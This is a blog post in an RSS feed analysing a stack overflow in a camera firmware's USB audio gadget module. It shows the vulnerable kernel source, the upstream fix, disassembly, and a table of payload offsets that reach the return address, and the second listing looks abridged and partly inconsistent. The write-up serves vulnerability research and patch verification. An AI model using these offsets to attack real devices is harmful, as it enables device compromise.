<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: pureGavin</title>
    <description>The latest articles on DEV Community by pureGavin (@puregavin).</description>
    <link>https://dev.to/puregavin</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F4122333%2Fb09fd859-8522-4c2f-bc67-1aa1a51cebbc.png</url>
      <title>DEV Community: pureGavin</title>
      <link>https://dev.to/puregavin</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/puregavin"/>
    <language>en</language>
    <item>
      <title>CVE-2026-31720-reproduction-and-fix</title>
      <dc:creator>pureGavin</dc:creator>
      <pubDate>Wed, 18 Nov 2026 02:19:23 +0000</pubDate>
      <link>https://dev.to/puregavin/cve-2026-31720-reproduction-and-fix-5b42</link>
      <guid>https://dev.to/puregavin/cve-2026-31720-reproduction-and-fix-5b42</guid>
      <description>&lt;h1&gt;
  
  
  Preface
&lt;/h1&gt;

&lt;p&gt;I have been looking at a kernel bug in camera firmware. The vulnerable firmware is 1.0.0. The fixed firmware is 1.0.1.&lt;/p&gt;

&lt;p&gt;In the shipping &lt;code&gt;usb_f_uac1.ko&lt;/code&gt; from 1.0.0, &lt;code&gt;f_audio_complete&lt;/code&gt; hands the length supplied by the host straight to &lt;code&gt;memcpy&lt;/code&gt;. The destination is only 4 bytes on the stack. We cut those instructions out unchanged and ran them under QEMU user mode: a 32-byte payload of &lt;code&gt;0x41&lt;/code&gt; changes the return address to &lt;code&gt;0x41414140&lt;/code&gt;. The function of the same name in 1.0.1 checks the actual length of Mute / Volume. On a mismatch it stalls, and the stack stays put.&lt;/p&gt;

&lt;p&gt;The full-system run had two steps. A Thumb-2 kernel boots in QEMU, and &lt;code&gt;dummy_hcd&lt;/code&gt; registers, but the first return from a system call into user mode leaves the CPU in ARM state. Thumb instructions are decoded wrong, and user mode never comes up. We later switched to an ARM kernel and added a Thumb veneer in the module loader. All three shipping modules &lt;code&gt;insmod&lt;/code&gt;, the gadget &lt;code&gt;bind&lt;/code&gt; returns 0, and the host starts enumerating. Enumeration stops while reading the device descriptor, at &lt;code&gt;error -32&lt;/code&gt;: &lt;code&gt;g_audio_setup&lt;/code&gt; reads offset 964 of the vendor &lt;code&gt;struct snd_card&lt;/code&gt;, and that offset is not the same data in the mainline kernel. The malicious &lt;code&gt;SET_CUR&lt;/code&gt; never reaches &lt;code&gt;f_audio_complete&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;SHA-256 of the two modules:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;  1.0.0 &lt;code&gt;usb_f_uac1.ko&lt;/code&gt;: &lt;code&gt;e1c3a622a78d878d2d22e5b30df7be68b62abc110815b3f344e4d7b4146bxxxx&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;  1.0.1 &lt;code&gt;usb_f_uac1.ko&lt;/code&gt;: &lt;code&gt;8333a2dcf0f78f3e927a9e79dee4ce60eaee519a69071fead79638a2dd41xxxx&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;h1&gt;
  
  
  Where the bug is in the source
&lt;/h1&gt;

&lt;p&gt;The control-request completion callback of the legacy USB Audio Class 1 gadget lives in &lt;code&gt;f_uac1.c&lt;/code&gt; from Linux 4.9.84. &lt;code&gt;f_audio_complete()&lt;/code&gt; is written like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;static void f_audio_complete(struct usb_ep *ep, struct usb_request *req)
{
    struct f_audio *audio = req-&amp;gt;context;
    int status = req-&amp;gt;status;
    u32 data = 0;
    struct usb_ep *out_ep = audio-&amp;gt;out_ep;

    switch (status) {

    case 0:             /* normal completion? */
        if (ep == out_ep)
            f_audio_out_ep_complete(ep, req);
        else if (audio-&amp;gt;set_con) {
            memcpy(&amp;amp;data, req-&amp;gt;buf, req-&amp;gt;length);
            audio-&amp;gt;set_con-&amp;gt;set(audio-&amp;gt;set_con, audio-&amp;gt;set_cmd,
                    le16_to_cpu(data));
            audio-&amp;gt;set_con = NULL;
        }
        break;
    default:
        break;
    }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;data&lt;/code&gt; is only 4 bytes. &lt;code&gt;req-&amp;gt;length&lt;/code&gt; comes from the host. A UAC1 Feature Unit is only allowed to write two controls:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Selector&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;th&gt;Expected length&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Mute&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;1 byte&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Volume&lt;/td&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;2 bytes&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Nothing here compares &lt;code&gt;req-&amp;gt;actual&lt;/code&gt; with 1 or 2. The later &lt;code&gt;le16_to_cpu(data)&lt;/code&gt; reads only the low 16 bits. The out-of-bounds write has already happened.&lt;/p&gt;

&lt;p&gt;The request is installed from &lt;code&gt;audio_set_intf_req()&lt;/code&gt;. It finds &lt;code&gt;set_con&lt;/code&gt; by entity id and control selector, sets the completion callback to &lt;code&gt;f_audio_complete&lt;/code&gt;, and returns the host's &lt;code&gt;wLength&lt;/code&gt; unchanged:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;static int audio_set_intf_req(struct usb_function *f,
        const struct usb_ctrlrequest *ctrl)
{
    struct f_audio      *audio = func_to_audio(f);
    struct usb_composite_dev *cdev = f-&amp;gt;config-&amp;gt;cdev;
    struct usb_request  *req = cdev-&amp;gt;req;
    u8          id = ((le16_to_cpu(ctrl-&amp;gt;wIndex) &amp;gt;&amp;gt; 8) &amp;amp; 0xFF);
    u16         len = le16_to_cpu(ctrl-&amp;gt;wLength);
    u16         w_value = le16_to_cpu(ctrl-&amp;gt;wValue);
    u8          con_sel = (w_value &amp;gt;&amp;gt; 8) &amp;amp; 0xFF;
    u8          cmd = (ctrl-&amp;gt;bRequest &amp;amp; 0x0F);
    struct usb_audio_control_selector *cs;
    struct usb_audio_control *con;

    list_for_each_entry(cs, &amp;amp;audio-&amp;gt;cs, list) {
        if (cs-&amp;gt;id == id) {
            list_for_each_entry(con, &amp;amp;cs-&amp;gt;control, list) {
                if (con-&amp;gt;type == con_sel) {
                    audio-&amp;gt;set_con = con;
                    break;
                }
            }
            break;
        }
    }

    audio-&amp;gt;set_cmd = cmd;
    req-&amp;gt;context = audio;
    req-&amp;gt;complete = f_audio_complete;

    return len;
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Endpoint zero receives data according to that return value. When the host writes a large &lt;code&gt;wLength&lt;/code&gt;, &lt;code&gt;req-&amp;gt;buf&lt;/code&gt; holds more bytes, and the &lt;code&gt;memcpy&lt;/code&gt; above grows with it.&lt;/p&gt;

&lt;p&gt;The upstream fix is commit &lt;code&gt;6e0e34d85cd46ceb37d16054e97a373a32770f6c&lt;/code&gt; (&lt;code&gt;usb: gadget: f_uac1_legacy: validate control request size&lt;/code&gt;). Mute accepts only 1 byte, Volume accepts only 2 bytes, both checked with &lt;code&gt;req-&amp;gt;actual&lt;/code&gt;. Anything else stalls:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;switch (type) {
case UAC_FU_MUTE: {
    u8 value;

    if (req-&amp;gt;actual == sizeof(value)) {
        memcpy(&amp;amp;value, req-&amp;gt;buf, sizeof(value));
        data = value;
        valid_request = true;
    }
    break;
}
case UAC_FU_VOLUME: {
    __le16 value;

    if (req-&amp;gt;actual == sizeof(value)) {
        memcpy(&amp;amp;value, req-&amp;gt;buf, sizeof(value));
        data = le16_to_cpu(value);
        valid_request = true;
    }
    break;
}
}

if (valid_request)
    con-&amp;gt;set(con, audio-&amp;gt;set_cmd, data);
else
    usb_ep_set_halt(ep);
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The vendor module is built on its own. A commit landing in mainline is not evidence that the firmware has it. What follows is based on the shipping disassembly.&lt;/p&gt;

&lt;h2&gt;
  
  
  The same code in the shipping module
&lt;/h2&gt;

&lt;p&gt;In 1.0.0, &lt;code&gt;f_audio_complete&lt;/code&gt; is at &lt;code&gt;.text+0xa8&lt;/code&gt; and is 50 bytes long. The symbol value is &lt;code&gt;0xa9&lt;/code&gt;. The low bit is the Thumb marker, so the instructions start at &lt;code&gt;0xa8&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight armasm"&gt;&lt;code&gt;&lt;span class="mi"&gt;000000a8&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;f_audio_complete&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;:&lt;/span&gt;
  &lt;span class="n"&gt;a8&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;   &lt;span class="n"&gt;b573&lt;/span&gt;        &lt;span class="k"&gt;push&lt;/span&gt;    &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;r0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;r1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;r4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;r5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;r6&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;lr&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="n"&gt;aa&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;   &lt;span class="mi"&gt;2300&lt;/span&gt;        &lt;span class="n"&gt;movs&lt;/span&gt;    &lt;span class="n"&gt;r3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;#0&lt;/span&gt;
  &lt;span class="n"&gt;ac&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;   &lt;span class="mi"&gt;6b&lt;/span&gt;&lt;span class="mf"&gt;8e&lt;/span&gt;        &lt;span class="k"&gt;ldr&lt;/span&gt; &lt;span class="n"&gt;r6&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;r1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;#56]   ; req-&amp;gt;status&lt;/span&gt;
  &lt;span class="n"&gt;ae&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;   &lt;span class="mi"&gt;6acc&lt;/span&gt;        &lt;span class="k"&gt;ldr&lt;/span&gt; &lt;span class="n"&gt;r4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;r1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;#44]   ; req-&amp;gt;context&lt;/span&gt;
  &lt;span class="n"&gt;b0&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;   &lt;span class="mi"&gt;9301&lt;/span&gt;        &lt;span class="k"&gt;str&lt;/span&gt; &lt;span class="n"&gt;r3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;sp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;#4]    ; u32 data = 0&lt;/span&gt;
  &lt;span class="n"&gt;b2&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;   &lt;span class="n"&gt;b986&lt;/span&gt;        &lt;span class="n"&gt;cbnz&lt;/span&gt;    &lt;span class="n"&gt;r6&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;d6&lt;/span&gt;
  &lt;span class="n"&gt;b4&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;   &lt;span class="n"&gt;f8d4&lt;/span&gt; &lt;span class="mi"&gt;50cc&lt;/span&gt;   &lt;span class="k"&gt;ldr&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;w&lt;/span&gt;   &lt;span class="n"&gt;r5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;r4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;#204]  ; audio-&amp;gt;set_con&lt;/span&gt;
  &lt;span class="n"&gt;b8&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;   &lt;span class="n"&gt;b16d&lt;/span&gt;        &lt;span class="n"&gt;cbz&lt;/span&gt; &lt;span class="n"&gt;r5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;d6&lt;/span&gt;
  &lt;span class="n"&gt;ba&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;   &lt;span class="n"&gt;e9d1&lt;/span&gt; &lt;span class="mi"&gt;1200&lt;/span&gt;   &lt;span class="n"&gt;ldrd&lt;/span&gt;    &lt;span class="n"&gt;r1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;r2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;r1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;    &lt;span class="c1"&gt;; req-&amp;gt;buf, req-&amp;gt;length&lt;/span&gt;
  &lt;span class="n"&gt;be&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;   &lt;span class="n"&gt;a801&lt;/span&gt;        &lt;span class="k"&gt;add&lt;/span&gt; &lt;span class="n"&gt;r0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;sp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;#4  ; &amp;amp;data&lt;/span&gt;
  &lt;span class="n"&gt;c0&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;   &lt;span class="n"&gt;f7ff&lt;/span&gt; &lt;span class="n"&gt;fffe&lt;/span&gt;   &lt;span class="k"&gt;bl&lt;/span&gt;  &lt;span class="n"&gt;memcpy&lt;/span&gt;
  &lt;span class="n"&gt;c4&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;   &lt;span class="mi"&gt;6a6b&lt;/span&gt;        &lt;span class="k"&gt;ldr&lt;/span&gt; &lt;span class="n"&gt;r3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;r5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;#36]   ; con-&amp;gt;set&lt;/span&gt;
  &lt;span class="n"&gt;c6&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;   &lt;span class="mi"&gt;4628&lt;/span&gt;        &lt;span class="k"&gt;mov&lt;/span&gt; &lt;span class="n"&gt;r0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;r5&lt;/span&gt;
  &lt;span class="n"&gt;c8&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;   &lt;span class="n"&gt;f8bd&lt;/span&gt; &lt;span class="mi"&gt;2004&lt;/span&gt;   &lt;span class="n"&gt;ldrh&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;w&lt;/span&gt;  &lt;span class="n"&gt;r2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;sp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;#4]&lt;/span&gt;
  &lt;span class="n"&gt;cc&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;   &lt;span class="n"&gt;f894&lt;/span&gt; &lt;span class="mi"&gt;10c4&lt;/span&gt;   &lt;span class="n"&gt;ldrb&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;w&lt;/span&gt;  &lt;span class="n"&gt;r1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;r4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;#196]  ; audio-&amp;gt;set_cmd&lt;/span&gt;
  &lt;span class="n"&gt;d0&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;   &lt;span class="mi"&gt;4798&lt;/span&gt;        &lt;span class="n"&gt;blx&lt;/span&gt; &lt;span class="n"&gt;r3&lt;/span&gt;
  &lt;span class="n"&gt;d2&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;   &lt;span class="n"&gt;f8c4&lt;/span&gt; &lt;span class="mi"&gt;60cc&lt;/span&gt;   &lt;span class="k"&gt;str&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;w&lt;/span&gt;   &lt;span class="n"&gt;r6&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;r4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;#204]&lt;/span&gt;
  &lt;span class="n"&gt;d6&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;   &lt;span class="n"&gt;b002&lt;/span&gt;        &lt;span class="k"&gt;add&lt;/span&gt; &lt;span class="nb"&gt;sp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;#8&lt;/span&gt;
  &lt;span class="n"&gt;d8&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;   &lt;span class="n"&gt;bd70&lt;/span&gt;        &lt;span class="k"&gt;pop&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;r4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;r5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;r6&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;pc&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;0xba&lt;/code&gt; loads the buffer and the length together, and &lt;code&gt;0xc0&lt;/code&gt; calls &lt;code&gt;memcpy&lt;/code&gt;. Nothing in between compares the length with 1 or 2, and nothing stalls. The function ends by popping &lt;code&gt;r4&lt;/code&gt;, &lt;code&gt;r5&lt;/code&gt;, &lt;code&gt;r6&lt;/code&gt;, and &lt;code&gt;pc&lt;/code&gt; off the stack. The module has no &lt;code&gt;__stack_chk_fail&lt;/code&gt;. This function has no canary. Changing the return address does not require a leak first.&lt;/p&gt;

&lt;p&gt;After &lt;code&gt;push {r0, r1, r4, r5, r6, lr}&lt;/code&gt;, the low addresses are, in order, the saved &lt;code&gt;r0&lt;/code&gt;, &lt;code&gt;r1&lt;/code&gt;, &lt;code&gt;r4&lt;/code&gt;, &lt;code&gt;r5&lt;/code&gt;, &lt;code&gt;r6&lt;/code&gt;, and &lt;code&gt;lr&lt;/code&gt;. &lt;code&gt;str r3, [sp, #4]&lt;/code&gt; puts the 4-byte local in the slot that held the saved &lt;code&gt;r1&lt;/code&gt;. &lt;code&gt;add r0, sp, #4&lt;/code&gt; is where &lt;code&gt;memcpy&lt;/code&gt; starts. Relative to that start:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Payload offset&lt;/th&gt;
&lt;th&gt;Stack location&lt;/th&gt;
&lt;th&gt;What is overwritten&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;0 .. 3&lt;/td&gt;
&lt;td&gt;sp+4&lt;/td&gt;
&lt;td&gt;the 4-byte local&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4 .. 7&lt;/td&gt;
&lt;td&gt;sp+8&lt;/td&gt;
&lt;td&gt;saved r4&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;8 .. 11&lt;/td&gt;
&lt;td&gt;sp+12&lt;/td&gt;
&lt;td&gt;saved r5&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;12 .. 15&lt;/td&gt;
&lt;td&gt;sp+16&lt;/td&gt;
&lt;td&gt;saved r6&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;16 .. 19&lt;/td&gt;
&lt;td&gt;sp+20&lt;/td&gt;
&lt;td&gt;saved lr, the return address&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The length has to reach 8, 12, 16, and 20 before those four slots are filled. The measurements later match this table.&lt;/p&gt;

&lt;p&gt;The 1.0.1 function still starts at &lt;code&gt;0xa8&lt;/code&gt;, but it is 70 bytes. The next symbol, &lt;code&gt;f_audio_setup&lt;/code&gt;, is at &lt;code&gt;0xee&lt;/code&gt;. It looks at the control type first, then at &lt;code&gt;req-&amp;gt;actual&lt;/code&gt;. A mismatch calls &lt;code&gt;usb_ep_set_halt&lt;/code&gt;. A match reads only 1 byte or 2 bytes:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight armasm"&gt;&lt;code&gt;&lt;span class="mi"&gt;000000a8&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;f_audio_complete&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;:&lt;/span&gt;
  &lt;span class="n"&gt;a8&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;   &lt;span class="n"&gt;b538&lt;/span&gt;        &lt;span class="k"&gt;push&lt;/span&gt;    &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;r3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;r4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;r5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;lr&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="n"&gt;aa&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;   &lt;span class="mi"&gt;6b8b&lt;/span&gt;        &lt;span class="k"&gt;ldr&lt;/span&gt; &lt;span class="n"&gt;r3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;r1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;#56]   ; req-&amp;gt;status&lt;/span&gt;
  &lt;span class="n"&gt;b6&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;   &lt;span class="mi"&gt;7b1a&lt;/span&gt;        &lt;span class="n"&gt;ldrb&lt;/span&gt;    &lt;span class="n"&gt;r2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;r3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;#12]   ; con-&amp;gt;type&lt;/span&gt;
  &lt;span class="n"&gt;b8&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;   &lt;span class="mi"&gt;2a01&lt;/span&gt;        &lt;span class="k"&gt;cmp&lt;/span&gt; &lt;span class="n"&gt;r2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;#1&lt;/span&gt;
  &lt;span class="n"&gt;ba&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;   &lt;span class="n"&gt;d004&lt;/span&gt;        &lt;span class="k"&gt;beq&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;   &lt;span class="n"&gt;c6&lt;/span&gt;
  &lt;span class="n"&gt;bc&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;   &lt;span class="mi"&gt;2a02&lt;/span&gt;        &lt;span class="k"&gt;cmp&lt;/span&gt; &lt;span class="n"&gt;r2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;#2&lt;/span&gt;
  &lt;span class="n"&gt;be&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;   &lt;span class="n"&gt;d010&lt;/span&gt;        &lt;span class="k"&gt;beq&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;   &lt;span class="n"&gt;e2&lt;/span&gt;
  &lt;span class="n"&gt;c0&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;   &lt;span class="k"&gt;bl&lt;/span&gt;  &lt;span class="n"&gt;usb_ep_set_halt&lt;/span&gt;
  &lt;span class="n"&gt;c6&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;   &lt;span class="mi"&gt;6bca&lt;/span&gt;        &lt;span class="k"&gt;ldr&lt;/span&gt; &lt;span class="n"&gt;r2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;r1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;#60]   ; req-&amp;gt;actual&lt;/span&gt;
  &lt;span class="n"&gt;c8&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;   &lt;span class="mi"&gt;2a01&lt;/span&gt;        &lt;span class="k"&gt;cmp&lt;/span&gt; &lt;span class="n"&gt;r2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;#1&lt;/span&gt;
  &lt;span class="n"&gt;ca&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;   &lt;span class="n"&gt;d1f9&lt;/span&gt;        &lt;span class="k"&gt;bne&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;   &lt;span class="n"&gt;c0&lt;/span&gt;
  &lt;span class="n"&gt;cc&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;   &lt;span class="mi"&gt;680a&lt;/span&gt;        &lt;span class="k"&gt;ldr&lt;/span&gt; &lt;span class="n"&gt;r2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;r1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;#0]&lt;/span&gt;
  &lt;span class="n"&gt;ce&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;   &lt;span class="mi"&gt;7812&lt;/span&gt;        &lt;span class="n"&gt;ldrb&lt;/span&gt;    &lt;span class="n"&gt;r2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;r2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;#0]&lt;/span&gt;
  &lt;span class="n"&gt;e2&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;   &lt;span class="mi"&gt;6bca&lt;/span&gt;        &lt;span class="k"&gt;ldr&lt;/span&gt; &lt;span class="n"&gt;r2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;r1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;#60]&lt;/span&gt;
  &lt;span class="n"&gt;e4&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;   &lt;span class="mi"&gt;2a02&lt;/span&gt;        &lt;span class="k"&gt;cmp&lt;/span&gt; &lt;span class="n"&gt;r2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;#2&lt;/span&gt;
